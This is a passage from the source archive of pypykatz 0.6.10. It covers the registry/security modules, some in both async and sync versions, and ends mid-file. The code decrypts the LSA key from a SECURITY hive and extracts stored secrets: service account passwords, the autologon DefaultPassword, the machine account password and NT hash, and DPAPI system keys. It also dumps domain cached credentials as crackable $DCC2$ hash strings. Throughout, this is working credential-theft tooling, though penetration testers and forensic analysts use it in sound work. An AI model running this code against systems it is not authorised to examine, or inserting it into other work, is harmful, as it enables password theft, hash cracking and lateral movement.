self.system_hive is not None: self.username = await self.system_hive.get_service_user(self.key_name[4:]) def __str__(self): return '=== LSA Service User Secret ===\r\nHistory: %s\r\nService name: %s \r\nUsername: %s' % (self.history, self.service, self.username) + '\r\n' + hexdump(self.secret) def to_dict(self): t = {} t['type'] = 'LSASecretService' t['key_name'] = self.key_name t['history'] = self.history t['username'] = self.username t['secret'] = self.secret t['service'] = self.service return t class LSASecretDefaultPassword(LSASecret): def __init__(self, key_name, raw_secret, history): LSASecret.__init__(self, key_name, raw_secret, history) self.username = None self.secret = None def process_secret(self): try: self.secret = self.raw_secret.decode('utf-16-le') except: pass else: #here you may implement a mechanism to fetch the default logon user #TODO self.username = 'UNKNOWN' def __str__(self): return '=== LSA Default Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret) def to_dict(self): t = {} t['type'] = 'LSASecretDefaultPassword' t['key_name'] = self.key_name t['history'] = self.history t['username'] = self.username t['secret'] = self.secret return t class LSASecretASPNET(LSASecret): def __init__(self, key_name, raw_secret, history): LSASecret.__init__(self, key_name, raw_secret, history) self.username = 'ASPNET' self.secret = None def process_secret(self): try: self.secret = self.raw_secret.decode('utf-16-le') except: pass def __str__(self): return '=== LSA ASPNET Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret) def to_dict(self): t = {} t['type'] = 'LSASecretASPNET' t['key_name'] = self.key_name t['history'] = self.history t['username'] = self.username t['secret'] = self.secret return t class LSASecretMachineAccount(LSASecret): def __init__(self, key_name, raw_secret, history): LSASecret.__init__(self, key_name, raw_secret, history) self.username = None self.secret = None self.kerberos_password = None def process_secret(self): #only the NT hash is calculated here ctx = MD4(self.raw_secret)#hashlib.new('md4') #ctx.update(self.raw_secret) self.secret = ctx.digest() #thx dirkjan self.kerberos_password = self.raw_secret.decode('utf-16-le', 'replace').encode('utf-8', 'replace') def to_dict(self): t = {} t['type'] = 'LSASecretMachineAccount' t['key_name'] = self.key_name t['history'] = self.history t['username'] = self.username t['secret'] = self.secret t['kerberos_password'] = self.kerberos_password return t def __str__(self): return '=== LSA Machine account password ===\r\nHistory: %s\r\nNT: %s\r\nPassword(hex): %s\r\nKerberos password(hex): %s' % (self.history, self.secret.hex(), self.raw_secret.hex(), self.kerberos_password.hex()) class LSASecretDPAPI(LSASecret): def __init__(self, key_name, raw_secret, history): LSASecret.__init__(self, key_name, raw_secret, history) self.machine_key = None self.user_key = None def process_secret(self): ds = DPAPI_SYSTEM.from_bytes(self.raw_secret) self.machine_key = ds.machine_key self.user_key = ds.user_key def to_dict(self): t = {} t['type'] = 'LSASecretDPAPI' t['key_name'] = self.key_name t['history'] = self.history t['machine_key'] = self.machine_key t['user_key'] = self.user_key return t def __str__(self): return '=== LSA DPAPI secret ===\r\nHistory: %s\r\nMachine key (hex): %s\r\nUser key(hex): %s' % (self.history, self.machine_key.hex(), self.user_key.hex()) class LSADCCSecret: def __init__(self, version, domain, username, hash_value, iteration = 10240, last_write_ts = None): self.version = version self.domain = domain self.username = username self.iteration = iteration self.hash_value = hash_value self.last_write_ts = last_write_ts def to_dict(self): t = {} t['version'] = self.version t['domain'] = self.domain t['username'] = self.username t['iteration'] = self.iteration t['hash_value'] = self.hash_value t['lastwrite'] = self.get_lastwrite() return t def get_lastwrite(self, default = None): if self.last_write_ts is None: return default return self.last_write_ts.strftime("%Y-%m-%d %H:%M:%S") def __str__(self): return self.to_lopth() def to_lopth(self): if self.version == 1: return "%s/%s:%s:%s" % (self.domain, self.username, self.hash_value.hex(), self.username) else: return "%s/%s:*%s*$DCC2$%s#%s#%s" % (self.domain, self.username, self.get_lastwrite(''), self.iteration, self.username, self.hash_value.hex())././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/security/asecurity.py0000664000175000017500000002215514543266630023057 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import hashlib import hmac from pypykatz.registry.sam.structures import * from unicrypto.symmetric import RC4, DES, AES, expand_DES_key, MODE_CBC ##### from pypykatz.registry.security.structures import * from pypykatz.registry.security.acommon import * from pypykatz.registry import logger from pypykatz.commons.common import hexdump # # The SECURITY hive holds all the domain-cached-credentials for the domain users who logged in to the machine # It also holds the machine account's password in an encrypted form # # The LSA secrets also stored here, but their format is not always documented, # as this functionality can be used by any service that wants to stroe some secret information class SECURITY: def __init__(self, security_hive, bootkey, system_hive = None): self.hive = security_hive self.system_hive = system_hive self.bootkey = bootkey self.dcc_iteration_count = 10240 self.lsa_secret_key_vista_type = True self.lsa_key = None self.NKLM_key = None self.dcc_hashes = [] self.cached_secrets = [] @staticmethod def sha256_multi(key, value, rounds = 1000): ctx = hashlib.sha256(key) for _ in range(rounds): ctx.update(value) return ctx.digest() def decrypt_lsa_key(self, data): logger.debug('[SECURITY] Decrypting LSA key...') if self.lsa_secret_key_vista_type is True: record = LSA_SECRET.from_bytes(data) key = SECURITY.sha256_multi(self.bootkey, record.data[:32]) secret_dec = b'' cipher = AES(key) n = 16 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround if len(block) < n: block += b'\x00' * (n - len(block)) secret_dec += cipher.decrypt(block) record = LSA_SECRET_BLOB.from_bytes(secret_dec) self.lsa_key = record.secret[52:][:32] else: ctx = hashlib.md5(self.bootkey) for i in range(1000): ctx.update(data[60:76]) cipher = RC4(ctx.digest()) record = cipher.decrypt(data[12:60]) self.lsa_key = record[0x10:0x20] logger.debug('[SECURITY] LSA key value: %s' % self.lsa_key.hex()) return self.lsa_key async def get_lsa_key(self): logger.debug('[SECURITY] Fetching LSA key...') value = await self.hive.get_value('Policy\\PolEKList\\default', False) if value is None: value = await self.hive.get_value('Policy\\PolSecretEncryptionKey\\default', False) if not value: logger.debug('[SECURITY] LSA key not found!') return None self.lsa_secret_key_vista_type = False logger.debug('[SECURITY] LSA secrets default to VISTA type') return self.decrypt_lsa_key(value[1]) def decrypt_secret(self, key, value): dec_blob = b'' enc_size = int.from_bytes(value[:4], 'little', signed = False) value = value[len(value) - enc_size:] t_key = key for _ in range(0, len(value), 8): enc_blob = value[:8] des_key = expand_DES_key(t_key[:7]) ctx = DES(des_key) dec_blob += ctx.decrypt(enc_blob) t_key = t_key[7:] value = value[8:] if len(t_key) < 7: t_key = key[len(t_key) : ] secret = LSA_SECRET_XP.from_bytes(dec_blob) return secret.secret async def get_NKLM_key(self): logger.debug('[SECURITY] Fetching NK$LM key...') if self.lsa_key is None: await self.get_lsa_key() value = await self.hive.get_value('Policy\\Secrets\\NL$KM\\CurrVal\\default') if value is None: logger.error('[SECURITY] Could not find NL$KM in registry') raise Exception('Could not find NL$KM in registry :(') if self.lsa_secret_key_vista_type is True: self.NKLM_key = b'' record = LSA_SECRET.from_bytes(value[1]) key = SECURITY.sha256_multi(self.lsa_key, record.data[:32]) cipher = AES(key) n = 16 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround if len(block) < n: block += b'\x00' * (16 - len(block)) self.NKLM_key += cipher.decrypt(block) else: self.NKLM_key = self.decrypt_secret(self.lsa_key, value[1]) logger.debug('[SECURITY] NL$KM key: %s' % self.NKLM_key.hex()) return self.NKLM_key def __pad(self, data): if (data & 0x3) > 0: return data + (data & 0x3) else: return data async def dump_dcc(self): logger.debug('[SECURITY] dump_dcc invoked') cache_reg = await self.hive.find_key('Cache', False) if cache_reg is None: logger.debug('[SECURITY] No DCC secrets found') return values = await self.hive.list_values(cache_reg) if values == []: logger.debug('[SECURITY] No DCC secrets found') return if b'NL$Control' in values: values.remove(b'NL$Control') if b'NL$IterationCount' in values: logger.debug('[SECURITY] DCC Setting iteration count') values.remove(b'NL$IterationCount') record = await self.hive.get_value('Cache\\NL$IterationCount') record = record[1] if record > 10240: self.dcc_iteration_count = record & 0xfffffc00 else: self.dcc_iteration_count = record * 1024 await self.get_lsa_key() await self.get_NKLM_key() for value in values: logger.debug('[SECURITY] DCC Checking value: %s' % value) record_data = await self.hive.get_value('Cache\\%s' % value.decode()) record_data = record_data[1] record = NL_RECORD.from_bytes(record_data) if record.IV != b'\x00'*16: if record.Flags & 1 == 1: # Encrypted if self.lsa_secret_key_vista_type is True: plaintext = b'' cipher = AES(self.NKLM_key[16:32], MODE_CBC, IV = record.IV) n = 16 for block in [record.EncryptedData[i:i+n] for i in range(0, len(record.EncryptedData), n)]: #terrible, terrible workaround if len(block) < 16: block += b'\x00' * (16 - len(block)) plaintext += cipher.decrypt(block) else: key = hmac.new(self.NKLM_key,record.IV).digest() cipher = RC4(key) plaintext = cipher.decrypt(record.EncryptedData) else: # Plain! Until we figure out what this is, we skip it #plainText = record['EncryptedData'] logger.debug('[SECURITY] DCC Skipping value %s, unknown formet' % value) continue dcc_hash = plaintext[:0x10] blob = io.BytesIO(plaintext[0x48:]) username = blob.read(record.UserLength).decode('utf-16-le') blob.seek(self.__pad(record.UserLength) + self.__pad(record.DomainNameLength)) domain = blob.read(record.DnsDomainNameLength).decode('utf-16-le') version = 2 if self.lsa_secret_key_vista_type is True else 1 secret = LSADCCSecret(version, domain, username, dcc_hash, iteration = self.dcc_iteration_count, last_write_ts=record.LastWrite) self.dcc_hashes.append(secret) return self.dcc_hashes async def get_secrets(self): logger.debug('[SECURITY] get_secrets') await self.get_lsa_key() await self.dump_dcc() # Let's first see if there are cached entries keys = await self.hive.enum_key('Policy\\Secrets') if keys is None: logger.debug('[SECURITY] No cached secrets found in hive') return if b'NL$Control' in keys: keys.remove(b'NL$Control') for key_name in keys: for vl in ['CurrVal', 'OldVal']: key_path = 'Policy\\Secrets\\{}\\{}\\default'.format(key_name,vl) logger.debug('[SECURITY] Parsing secrets in %s' % key_path) v = await self.hive.get_value(key_path, False) if v and v[1] != 0: logger.log(1, '[SECURITY] Key %s Value %s' % (key_path, v[1])) if self.lsa_secret_key_vista_type is True: record = LSA_SECRET.from_bytes(v[1]) key = SECURITY.sha256_multi(self.lsa_key, record.data[:32]) secret_dec = b'' cipher = AES(key) n = 16 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround if len(block) < n: block += b'\x00' * (n - len(block)) secret_dec += cipher.decrypt(block) record = LSA_SECRET_BLOB.from_bytes(secret_dec) dec_blob = record.secret else: dec_blob = self.decrypt_secret(self.lsa_key, v[1]) secret = await LSASecret.process(key_name, dec_blob, vl == 'OldVal', self.system_hive) if secret is not None: self.cached_secrets.append(secret) else: logger.debug('[SECURITY] Could not open %s, skipping!' % key_path) def to_dict(self): t = {} t['dcc_iteration_count'] = self.dcc_iteration_count t['secrets_format'] = 'VISTA' if self.lsa_secret_key_vista_type else 'OLD' t['lsa_key'] = self.lsa_key t['NK$LM'] = None if self.NKLM_key is not None: t['NK$LM'] = self.NKLM_key t['dcc'] = [] for secret in self.dcc_hashes: t['dcc'].append(secret.to_dict()) t['cached_secrets'] = [] for secret in self.cached_secrets: t['cached_secrets'].append(secret.to_dict()) return t def __str__(self): t = '============== SECURITY hive secrets ==============\r\n' t += 'Iteration count: %s\r\n' % self.dcc_iteration_count t += 'Secrets structure format : %s\r\n' % 'VISTA' if self.lsa_secret_key_vista_type else 'OLD' t += 'LSA Key: %s\r\n' % self.lsa_key.hex() if self.NKLM_key is not None: t += 'NK$LM Key: %s\r\n' % self.NKLM_key.hex() for secret in self.dcc_hashes: t += '%s\r\n' % secret.to_lopth() for secret in self.cached_secrets: t += '%s\r\n' % str(secret) return t ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/security/common.py0000664000175000017500000001601014543266630022330 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from unicrypto.hashlib import md4 as MD4 from pypykatz.dpapi.structures.system import DPAPI_SYSTEM from pypykatz.commons.common import hexdump # # These classes used to "standardise" the different secrets that can be obtained from the SECURITY hive # The so-called LSA secrets can be of any format, therefore if the parser doesnt find an appropriate class for the secret # it will store the decrypted secret in raw bytes # # class LSASecret: def __init__(self,key_name, raw_secret, history = False): self.raw_secret = raw_secret self.key_name = key_name self.history = history @staticmethod def process(key_name, raw_secret, history = False, system_hive = None): kn = key_name.upper() if len(raw_secret) == 0: return if raw_secret.startswith(b'\x00\x00'): return if kn.startswith('_SC_'): lss = LSASecretService(kn, raw_secret, history, system_hive) lss.process_secret() elif kn.startswith('DEFAULTPASSWORD'): lss = LSASecretDefaultPassword(kn, raw_secret, history) lss.process_secret() elif kn.startswith('ASPNET_WP_PASSWORD'): lss = LSASecretASPNET(kn, raw_secret, history) lss.process_secret() elif kn.startswith('DPAPI_SYSTEM'): lss = LSASecretDPAPI(kn, raw_secret, history) lss.process_secret() elif kn.startswith('$MACHINE.ACC'): lss = LSASecretMachineAccount(kn, raw_secret, history) lss.process_secret() else: lss = LSASecret(kn, raw_secret, history) return lss def __str__(self): return '=== LSASecret %s ===\r\n' % self.key_name + '\r\nHistory: %s' % self.history + '\r\nSecret: \r\n' + hexdump(self.raw_secret) def to_dict(self): t = {} t['type'] = 'LSASecret' t['key_name'] = self.key_name t['history'] = self.history t['raw_secret'] = self.raw_secret return t class LSASecretService(LSASecret): def __init__(self, key_name, raw_secret, history, system_hive = None): LSASecret.__init__(self, key_name, raw_secret, history) self.system_hive = system_hive self.service = None self.username = None self.secret = None def process_secret(self): try: self.secret = self.raw_secret.decode('utf-16-le') except: self.secret = self.raw_secret.hex() else: #here you may implement a mechanism to fetch the service user's name #TODO self.service = self.key_name self.username = 'UNKNOWN' if self.system_hive is not None: print(self.key_name[4:]) self.username = self.system_hive.get_service_user(self.key_name[4:]) def __str__(self): return '=== LSA Service User Secret ===\r\nHistory: %s\r\nService name: %s \r\nUsername: %s' % (self.history, self.service, self.username) + '\r\n' + hexdump(self.secret) def to_dict(self): t = {} t['type'] = 'LSASecretService' t['key_name'] = self.key_name t['history'] = self.history t['username'] = self.username t['secret'] = self.secret t['service'] = self.service return t class LSASecretDefaultPassword(LSASecret): def __init__(self, key_name, raw_secret, history): LSASecret.__init__(self, key_name, raw_secret, history) self.username = None self.secret = None def process_secret(self): try: self.secret = self.raw_secret.decode('utf-16-le') except: pass else: #here you may implement a mechanism to fetch the default logon user #TODO self.username = 'UNKNOWN' def __str__(self): return '=== LSA Default Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret) def to_dict(self): t = {} t['type'] = 'LSASecretDefaultPassword' t['key_name'] = self.key_name t['history'] = self.history t['username'] = self.username t['secret'] = self.secret return t class LSASecretASPNET(LSASecret): def __init__(self, key_name, raw_secret, history): LSASecret.__init__(self, key_name, raw_secret, history) self.username = 'ASPNET' self.secret = None def process_secret(self): try: self.secret = self.raw_secret.decode('utf-16-le') except: pass def __str__(self): return '=== LSA ASPNET Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret) def to_dict(self): t = {} t['type'] = 'LSASecretASPNET' t['key_name'] = self.key_name t['history'] = self.history t['username'] = self.username t['secret'] = self.secret return t class LSASecretMachineAccount(LSASecret): def __init__(self, key_name, raw_secret, history): LSASecret.__init__(self, key_name, raw_secret, history) self.username = None self.secret = None self.kerberos_password = None def process_secret(self): #only the NT hash is calculated here ctx = MD4(self.raw_secret)#hashlib.new('md4') #ctx.update(self.raw_secret) self.secret = ctx.digest() #thx dirkjan self.kerberos_password = self.raw_secret.decode('utf-16-le', 'replace').encode('utf-8', 'replace') def to_dict(self): t = {} t['type'] = 'LSASecretMachineAccount' t['key_name'] = self.key_name t['history'] = self.history t['username'] = self.username t['secret'] = self.secret t['kerberos_password'] = self.kerberos_password return t def __str__(self): return '=== LSA Machine account password ===\r\nHistory: %s\r\nNT: %s\r\nPassword(hex): %s\r\nKerberos password(hex): %s' % (self.history, self.secret.hex(), self.raw_secret.hex(), self.kerberos_password.hex()) class LSASecretDPAPI(LSASecret): def __init__(self, key_name, raw_secret, history): LSASecret.__init__(self, key_name, raw_secret, history) self.machine_key = None self.user_key = None def process_secret(self): ds = DPAPI_SYSTEM.from_bytes(self.raw_secret) self.machine_key = ds.machine_key self.user_key = ds.user_key def to_dict(self): t = {} t['type'] = 'LSASecretDPAPI' t['key_name'] = self.key_name t['history'] = self.history t['machine_key'] = self.machine_key t['user_key'] = self.user_key return t def __str__(self): return '=== LSA DPAPI secret ===\r\nHistory: %s\r\nMachine key (hex): %s\r\nUser key(hex): %s' % (self.history, self.machine_key.hex(), self.user_key.hex()) class LSADCCSecret: def __init__(self, version, domain, username, hash_value, iteration = 10240, last_write_ts = None): self.version = version self.domain = domain self.username = username self.iteration = iteration self.hash_value = hash_value self.last_write_ts = last_write_ts def to_dict(self): t = {} t['version'] = self.version t['domain'] = self.domain t['username'] = self.username t['iteration'] = self.iteration t['hash_value'] = self.hash_value t['lastwrite'] = self.get_lastwrite() return t def get_lastwrite(self, default = None): if self.last_write_ts is None: return default return self.last_write_ts.strftime("%Y-%m-%d %H:%M:%S") def __str__(self): return self.to_lopth() def to_lopth(self): if self.version == 1: return "%s/%s:%s:%s" % (self.domain, self.username, self.hash_value.hex(), self.username) else: return "%s/%s:*%s*$DCC2$%s#%s#%s" % (self.domain, self.username, self.get_lastwrite(''), self.iteration, self.username, self.hash_value.hex())././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/security/security.py0000664000175000017500000002175514543266630022723 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from unicrypto import hashlib from unicrypto import hmac from unicrypto.symmetric import RC4, AES, MODE_CBC, DES, expand_DES_key ##### import io from pypykatz.registry.security.structures import LSA_SECRET, LSA_SECRET_BLOB, LSA_SECRET_XP, NL_RECORD from pypykatz.registry.security.common import LSADCCSecret, LSASecret from pypykatz.registry import logger # # The SECURITY hive holds all the domain-cached-credentials for the domain users who logged in to the machine # It also holds the machine account's password in an encrypted form # # The LSA secrets also stored here, but their format is not always documented, # as this functionality can be used by any service that wants to stroe some secret information class SECURITY: def __init__(self, security_hive, bootkey, system_hive = None): self.hive = security_hive self.system_hive = system_hive self.bootkey = bootkey self.dcc_iteration_count = 10240 self.lsa_secret_key_vista_type = True self.lsa_key = None self.NKLM_key = None self.dcc_hashes = [] self.cached_secrets = [] @staticmethod def sha256_multi(key, value, rounds = 1000): ctx = hashlib.sha256(key) for _ in range(rounds): ctx.update(value) return ctx.digest() def decrypt_lsa_key(self, data): logger.debug('[SECURITY] Decrypting LSA key...') if self.lsa_secret_key_vista_type is True: record = LSA_SECRET.from_bytes(data) key = SECURITY.sha256_multi(self.bootkey, record.data[:32]) secret_dec = b'' cipher = AES(key) n = 16 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround if len(block) < n: block += b'\x00' * (n - len(block)) secret_dec += cipher.decrypt(block) record = LSA_SECRET_BLOB.from_bytes(secret_dec) self.lsa_key = record.secret[52:][:32] else: ctx = hashlib.md5(self.bootkey) for i in range(1000): ctx.update(data[60:76]) cipher = RC4(ctx.digest()) record = cipher.decrypt(data[12:60]) self.lsa_key = record[0x10:0x20] logger.debug('[SECURITY] LSA key value: %s' % self.lsa_key.hex()) return self.lsa_key def get_lsa_key(self): logger.debug('[SECURITY] Fetching LSA key...') value = self.hive.get_value('Policy\\PolEKList\\default', False) if value is None: value = self.hive.get_value('Policy\\PolSecretEncryptionKey\\default', False) if not value: logger.debug('[SECURITY] LSA key not found!') return None self.lsa_secret_key_vista_type = False logger.debug('[SECURITY] LSA secrets default to VISTA type') return self.decrypt_lsa_key(value[1]) def decrypt_secret(self, key, value): dec_blob = b'' enc_size = int.from_bytes(value[:4], 'little', signed = False) value = value[len(value) - enc_size:] t_key = key for _ in range(0, len(value), 8): enc_blob = value[:8] des_key = expand_DES_key(t_key[:7]) ctx = DES(des_key) dec_blob += ctx.decrypt(enc_blob) t_key = t_key[7:] value = value[8:] if len(t_key) < 7: t_key = key[len(t_key) : ] secret = LSA_SECRET_XP.from_bytes(dec_blob) return secret.secret def get_NKLM_key(self): logger.debug('[SECURITY] Fetching NK$LM key...') if self.lsa_key is None: self.get_lsa_key() value = self.hive.get_value('Policy\\Secrets\\NL$KM\\CurrVal\\default') if value is None: logger.error('[SECURITY] Could not find NL$KM in registry') raise Exception('Could not find NL$KM in registry :(') if self.lsa_secret_key_vista_type is True: self.NKLM_key = b'' record = LSA_SECRET.from_bytes(value[1]) key = SECURITY.sha256_multi(self.lsa_key, record.data[:32]) cipher = AES(key) n = 16 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround if len(block) < n: block += b'\x00' * (16 - len(block)) self.NKLM_key += cipher.decrypt(block) else: self.NKLM_key = self.decrypt_secret(self.lsa_key, value[1]) logger.debug('[SECURITY] NL$KM key: %s' % self.NKLM_key.hex()) return self.NKLM_key def __pad(self, data): if (data & 0x3) > 0: return data + (data & 0x3) else: return data def dump_dcc(self): logger.debug('[SECURITY] dump_dcc invoked') cache_reg = self.hive.find_key('Cache', False) if cache_reg is None: logger.debug('[SECURITY] No DCC secrets found') return values = self.hive.list_values(cache_reg) if values == []: logger.debug('[SECURITY] No DCC secrets found') return if b'NL$Control' in values: values.remove(b'NL$Control') if b'NL$IterationCount' in values: logger.debug('[SECURITY] DCC Setting iteration count') values.remove(b'NL$IterationCount') record = self.hive.get_value('Cache\\NL$IterationCount')[1] if record > 10240: self.dcc_iteration_count = record & 0xfffffc00 else: self.dcc_iteration_count = record * 1024 self.get_lsa_key() self.get_NKLM_key() for value in values: logger.debug('[SECURITY] DCC Checking value: %s' % value) record_data = self.hive.get_value('Cache\\%s' % value.decode())[1] record = NL_RECORD.from_bytes(record_data) if record.IV != b'\x00'*16: if record.Flags & 1 == 1: # Encrypted if self.lsa_secret_key_vista_type is True: plaintext = b'' cipher = AES(self.NKLM_key[16:32], MODE_CBC, IV = record.IV) n = 16 for block in [record.EncryptedData[i:i+n] for i in range(0, len(record.EncryptedData), n)]: #terrible, terrible workaround if len(block) < 16: block += b'\x00' * (16 - len(block)) plaintext += cipher.decrypt(block) else: key = hmac.new(self.NKLM_key,record.IV, digestmod='md5').digest() cipher = RC4(key) plaintext = cipher.decrypt(record.EncryptedData) else: # Plain! Until we figure out what this is, we skip it #plainText = record['EncryptedData'] logger.debug('[SECURITY] DCC Skipping value %s, unknown formet' % value) continue dcc_hash = plaintext[:0x10] blob = io.BytesIO(plaintext[0x48:]) username = blob.read(record.UserLength).decode('utf-16-le') blob.seek(self.__pad(record.UserLength) + self.__pad(record.DomainNameLength)) domain = blob.read(record.DnsDomainNameLength).decode('utf-16-le') version = 2 if self.lsa_secret_key_vista_type is True else 1 secret = LSADCCSecret(version, domain, username, dcc_hash, iteration = self.dcc_iteration_count, last_write_ts=record.LastWrite) self.dcc_hashes.append(secret) return self.dcc_hashes def get_secrets(self): logger.debug('[SECURITY] get_secrets') self.get_lsa_key() self.dump_dcc() # Let's first see if there are cached entries keys = self.hive.enum_key('Policy\\Secrets') if keys is None: logger.debug('[SECURITY] No cached secrets found in hive') return if b'NL$Control' in keys: keys.remove(b'NL$Control') for key_name in keys: for vl in ['CurrVal', 'OldVal']: key_path = 'Policy\\Secrets\\{}\\{}\\default'.format(key_name,vl) logger.debug('[SECURITY] Parsing secrets in %s' % key_path) v = self.hive.get_value(key_path, False) if v and v[1] != 0: logger.log(1, '[SECURITY] Key %s Value %s' % (key_path, v[1])) if self.lsa_secret_key_vista_type is True: record = LSA_SECRET.from_bytes(v[1]) key = SECURITY.sha256_multi(self.lsa_key, record.data[:32]) secret_dec = b'' cipher = AES(key) n = 16 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround if len(block) < n: block += b'\x00' * (n - len(block)) secret_dec += cipher.decrypt(block) record = LSA_SECRET_BLOB.from_bytes(secret_dec) dec_blob = record.secret else: dec_blob = self.decrypt_secret(self.lsa_key, v[1]) secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal', self.system_hive) if secret is not None: self.cached_secrets.append(secret) else: logger.debug('[SECURITY] Could not open %s, skipping!' % key_path) def to_dict(self): t = {} t['dcc_iteration_count'] = self.dcc_iteration_count t['secrets_format'] = 'VISTA' if self.lsa_secret_key_vista_type else 'OLD' t['lsa_key'] = self.lsa_key t['NK$LM'] = None if self.NKLM_key is not None: t['NK$LM'] = self.NKLM_key t['dcc'] = [] for secret in self.dcc_hashes: t['dcc'].append(secret.to_dict()) t['cached_secrets'] = [] for secret in self.cached_secrets: t['cached_secrets'].append(secret.to_dict()) return t def __str__(self): t = '============== SECURITY hive secrets ==============\r\n' t += 'Iteration count: %s\r\n' % self.dcc_iteration_count t += 'Secrets structure format : %s\r\n' % 'VISTA' if self.lsa_secret_key_vista_type else 'OLD' t += 'LSA Key: %s\r\n' % self.lsa_key.hex() if self.NKLM_key is not None: t += 'NK$LM Key: %s\r\n' % self.NKLM_key.hex() for secret in self.dcc_hashes: t += '%s\r\n' % secret.to_lopth() for secret in self.cached_secrets: t += '%s\r\n' % str(secret) return t ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/security/structures.py0000664000175000017500000001240014543266630023262 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import enum import io from pypykatz.commons.filetime import filetime_to_dt class LSA_SECRET_BLOB: def __init__(self): self.legnth = None self.unk = None self.secret = None #self.remaining = None @staticmethod def from_bytes(data): return LSA_SECRET_BLOB.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = LSA_SECRET_BLOB() sk.legnth = int.from_bytes(buff.read(4), 'little', signed = False) sk.unk = buff.read(12) sk.secret = buff.read(sk.legnth) return sk def __str__(self): t = '== LSA_SECRET_BLOB ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class LSA_SECRET: def __init__(self): self.version = None self.enc_key_id = None self.enc_algo = None self.flags = None self.data = None @staticmethod def from_bytes(data): return LSA_SECRET.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = LSA_SECRET() sk.version = int.from_bytes(buff.read(4), 'little', signed = False) sk.enc_key_id = buff.read(16) sk.enc_algo = int.from_bytes(buff.read(4), 'little', signed = False) sk.flags = int.from_bytes(buff.read(4), 'little', signed = False) sk.data = buff.read() return sk def __str__(self): t = '== LSA_SECRET ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class LSA_SECRET_XP: def __init__(self): self.legnth = None self.version = None self.secret = None @staticmethod def from_bytes(data): return LSA_SECRET_XP.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): sk = LSA_SECRET_XP() sk.legnth = int.from_bytes(buff.read(4), 'little', signed = False) sk.version = int.from_bytes(buff.read(4), 'little', signed = False) sk.secret = buff.read(sk.legnth) return sk def __str__(self): t = '== LSA_SECRET_XP ==\r\n' for k in self.__dict__: if isinstance(self.__dict__[k], list): for i, item in enumerate(self.__dict__[k]): t += ' %s: %s: %s' % (k, i, str(item)) else: t += '%s: %s \r\n' % (k, str(self.__dict__[k])) return t class NL_RECORD: def __init__(self): self.UserLength = None self.DomainNameLength = None self.EffectiveNameLength = None self.FullNameLength = None self.LogonScriptName = None self.ProfilePathLength = None self.HomeDirectoryLength = None self.HomeDirectoryDriveLength = None self.UserId = None self.PrimaryGroupId = None self.GroupCount = None self.logonDomainNameLength = None self.unk0 = None self.LastWrite = None self.Revision = None self.SidCount = None self.Flags = None self.unk1 = None self.LogonPackageLength = None self.DnsDomainNameLength = None self.UPN = None self.IV = None self.CH = None self.EncryptedData = None @staticmethod def from_bytes(data): return NL_RECORD.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): nl = NL_RECORD() nl.UserLength = int.from_bytes(buff.read(2), 'little', signed = False) nl.DomainNameLength = int.from_bytes(buff.read(2), 'little', signed = False) nl.EffectiveNameLength = int.from_bytes(buff.read(2), 'little', signed = False) nl.FullNameLength = int.from_bytes(buff.read(2), 'little', signed = False) nl.LogonScriptName = int.from_bytes(buff.read(2), 'little', signed = False) nl.ProfilePathLength = int.from_bytes(buff.read(2), 'little', signed = False) nl.HomeDirectoryLength = int.from_bytes(buff.read(2), 'little', signed = False) nl.HomeDirectoryDriveLength = int.from_bytes(buff.read(2), 'little', signed = False) nl.UserId = int.from_bytes(buff.read(4), 'little', signed = False) nl.PrimaryGroupId = int.from_bytes(buff.read(4), 'little', signed = False) nl.GroupCount = int.from_bytes(buff.read(4), 'little', signed = False) nl.logonDomainNameLength = int.from_bytes(buff.read(2), 'little', signed = False) nl.unk0 = int.from_bytes(buff.read(2), 'little', signed = False) nl.LastWrite = int.from_bytes(buff.read(8), 'little', signed = False) nl.Revision = int.from_bytes(buff.read(4), 'little', signed = False) nl.SidCount = int.from_bytes(buff.read(4), 'little', signed = False) nl.Flags = int.from_bytes(buff.read(4), 'little', signed = False) nl.unk1 = int.from_bytes(buff.read(4), 'little', signed = False) nl.LogonPackageLength = int.from_bytes(buff.read(4), 'little', signed = False) nl.DnsDomainNameLength = int.from_bytes(buff.read(2), 'little', signed = False) nl.UPN = int.from_bytes(buff.read(2), 'little', signed = False) nl.IV = buff.read(16) nl.CH = 